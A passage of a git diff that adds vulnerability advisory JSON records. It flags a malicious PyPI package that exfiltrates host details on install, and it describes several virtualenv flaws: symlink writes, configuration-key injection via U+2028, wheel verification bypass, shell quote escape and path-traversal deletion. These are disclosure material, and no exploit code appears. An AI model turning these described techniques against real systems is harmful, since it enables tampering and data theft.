(dc7e4c48ee2d6a07fd271f823d692ca3dae6b7ed98bea5fc2e56d736e4512b88)\nInstalling the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.\n\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.\n\n\nCampaign: GENERIC-standard-pypi-install-pentest\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n","affected":[{"package":{"name":"qimsdk-app-builder","ecosystem":"PyPI","purl":"pkg:pypi/qimsdk-app-builder"},"versions":["0.0.0","0.1.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/qimsdk-app-builder/MAL-2026-20120.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/qimsdk-app-builder"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/GENERIC-standard-pypi-install-pentest/qimsdk-app-builder","import_time":"2026-11-18T09:36:52.02428245Z","modified_time":"2026-11-18T09:27:00.107719Z","sha256":"dc7e4c48ee2d6a07fd271f823d692ca3dae6b7ed98bea5fc2e56d736e4512b88","source":"kam193","versions":["0.0.0","0.1.0"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4372.json b/data/PyPI/PYSEC-2026-4372.json new file mode 100644 index 0000000000..4f07d54c78 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4372.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4372","published":"2026-10-20T19:17:33.887Z","modified":"2026-11-18T12:10:36.831511269Z","aliases":["BIT-virtualenv-2026-113713","CVE-2026-113713","GHSA-4f8h-vr72-p32c"],"details":"virtualenv is a tool for creating isolated virtual python environments. From 21.14.8 until 21.14.10, the app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of symlink_app_data can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls. This issue is fixed in version 21.14.10.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.6"},{"fixed":"21.14.10"}]}],"versions":["20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.14.9","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4372.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.10"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/b81995c3feab9e1edb453c75ffc6616e1a77335e"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3437"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-4f8h-vr72-p32c"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4373.json b/data/PyPI/PYSEC-2026-4373.json new file mode 100644 index 0000000000..5948f560fa --- /dev/null +++ b/data/PyPI/PYSEC-2026-4373.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4373","published":"2026-10-20T19:17:34.050Z","modified":"2026-11-18T12:10:49.565642866Z","aliases":["BIT-virtualenv-2026-113714","CVE-2026-113714","GHSA-494p-63j8-28p3"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, download_wheel() writes package-index downloads directly into the reusable wheel/house cache before selecting a verification target from pip's textual Saved output. With default-index digest comparison enabled, a controlled package index can inject a misleading Saved line through a discarded link's data-requires-python attribute; this forged-line variant also requires knowledge of an absolute path to the genuine bundled wheel. The wrong path can then be hashed, while a digest mismatch leaves the rejected archive in the cache for later selection without verification. A separate rejected-cache-file variant requires control over downloaded data or archive selection but not the forged-line prerequisites. Explicit custom-index exceptions are outside the promised PyPI comparison, and the issue does not independently bypass TLS or establish control of default PyPI. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.7.12"},{"fixed":"21.14.9"}]}],"versions":["21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4373.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4374.json b/data/PyPI/PYSEC-2026-4374.json new file mode 100644 index 0000000000..0a85df25b8 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4374.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4374","published":"2026-10-20T20:17:17.690Z","modified":"2026-11-18T12:10:44.781421503Z","aliases":["BIT-virtualenv-2026-113715","CVE-2026-113715","GHSA-qmx5-4p3x-wvqf"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the stdlib venv creator reads generated pyvenv.cfg with str.splitlines() and merges parsed keys over virtualenv's selected configuration. An untrusted caller who influences the destination pathname can include a line-boundary character such as U+2028 to inject keys including home and include-system-site-packages, causing path data to change configuration structure before final output. Setting include-system-site-packages to true weakens environment isolation, while an altered home can change which standard-library files the interpreter loads if the attacker also controls that location. The builtin creator does not use this readback path. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"21.14.9"}]}],"versions":["20.0.0","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4374.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3426"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4375.json b/data/PyPI/PYSEC-2026-4375.json new file mode 100644 index 0000000000..7fef2fff67 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4375.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4375","published":"2026-10-20T20:17:17.850Z","modified":"2026-11-18T12:11:04.388986940Z","aliases":["BIT-virtualenv-2026-113716","CVE-2026-113716","GHSA-cw65-gx24-rc82"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the builtin creator calls ensure_dir() for executable, library, and package directories, and ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation generation then write through the linked parent outside the requested destination when another local account prepared the tree and the invoking user can access the target. The --clear option removes the planted tree first, while ordinary creation reaches it; arbitrary attacker-selected output bytes are not established. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"21.14.9"}]}],"versions":["20.0.0","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4375.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3429"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4376.json b/data/PyPI/PYSEC-2026-4376.json new file mode 100644 index 0000000000..24df4d5ad7 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4376.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4376","published":"2026-10-20T20:17:18.017Z","modified":"2026-11-18T12:11:02.020890202Z","aliases":["BIT-virtualenv-2026-113717","CVE-2026-113717","GHSA-cx28-75q4-x26q"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInvoke.get_pip_install_cmd() handles --seeder pip --download by calling get_wheel(download=False) and then allowing pip to consult the configured index, bypassing virtualenv's download_wheel() and verify_wheel_digest() path. When virtualenv's default-index PyPI digest comparison remains enabled, an index candidate matching the bundled package and version can therefore be selected without comparison to PyPI SHA-256 metadata. Explicit custom-index settings already opt out of that comparison and remain outside this verification-bypass claim; the demonstrated configuration used a non-PyPI index while leaving the index environment variables unset so the comparison policy remained active. This condition does not independently defeat TLS or establish control of the index response. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.7.12"},{"fixed":"21.14.9"}]}],"versions":["21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4376.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"EVIDENCE","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4377.json b/data/PyPI/PYSEC-2026-4377.json new file mode 100644 index 0000000000..8377e77730 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4377.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4377","published":"2026-10-20T20:17:18.197Z","modified":"2026-11-18T12:11:02.144706067Z","aliases":["BIT-virtualenv-2026-113718","CVE-2026-113718","GHSA-394h-qwmc-48pf"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.3.0"},{"fixed":"21.14.9"}]}],"versions":["21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4377.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3432"},{"type":"EVIDENCE","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4378.json b/data/PyPI/PYSEC-2026-4378.json new file mode 100644 index 0000000000..017d14379b --- /dev/null +++ b/data/PyPI/PYSEC-2026-4378.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4378","published":"2026-10-20T20:17:18.347Z","modified":"2026-11-18T12:11:06.983073747Z","aliases":["BIT-virtualenv-2026-113719","CVE-2026-113719","GHSA-hhxq-47xx-j5xx"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, PipInstall._uninstall_previous_version() accepts existing seed-package metadata and _uninstall_dist() joins entries from top_level.txt and RECORD to site-packages without checking containment. When a reused destination contains distribution metadata influenced by another account, relative traversal, absolute entries, or linked parents can cause app-data reseeding to delete files outside the environment or the environment root with the invoking user's permissions, provided that user has deletion rights over the named paths. The deletion occurs during environment creation before any later use of the environment. Fresh environments without existing package metadata and creation with --clear do not enter this cleanup path. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.1"},{"fixed":"21.14.9"}]}],"versions":["20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4378.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/e3cea6fa10a50fa29cf1fdddd772458fba076d5f"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3428"},{"type":"EVIDENCE","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-hhxq-47xx-j5xx"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4379.json b/data/PyPI/PYSEC-2026-4379.json new file mode 100644 index 0000000000..46663c107f --- /dev/null +++ b/data/PyPI/PYSEC-2026-4379.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4379","published":"2026-10-20T20:17:18.493Z","modified":"2026-11-18T12:11:01.943005174Z","aliases":["BIT-virtualenv-2026-113720","CVE-2026-113720","GHSA-fc2g-4w5p-6whm"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the app-data copy seeder uses shutil.copy() to copy cached package files into later environments, causing cached source modes to override the current run's umask. A cache populated under a permissive umask can therefore produce files writable by another local account in a later traversable environment, allowing package code such as pip/__init__.py to be modified and executed by the environment owner. The attacker cannot force the earlier umask, and a private destination parent prevents access. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"21.14.9"}]}],"versions":["20.0.0","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4379.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3425"},{"type":"EVIDENCE","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4380.json b/data/PyPI/PYSEC-2026-4380.json new file mode 100644 index 0000000000..a9d07db69d --- /dev/null +++ b/data/PyPI/PYSEC-2026-4380.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4380","published":"2026-10-20T20:17:18.653Z","modified":"2026-11-18T12:10:56.790021158Z","aliases":["BIT-virtualenv-2026-113721","CVE-2026-113721","GHSA-558c-9hv2-4prj"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true, allowing a dangling symlink to survive and redirect generated activation content, while PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing symbolic or hard link. Another local account that prepares final entries inside the destination can therefore cause environment creation to create or overwrite files outside the requested tree with constrained virtualenv-generated content and the invoking user's permissions. The destination parent must remain controlled by the environment owner during creation; concurrent parent-directory replacement is a separate concern. This issue is fixed in version 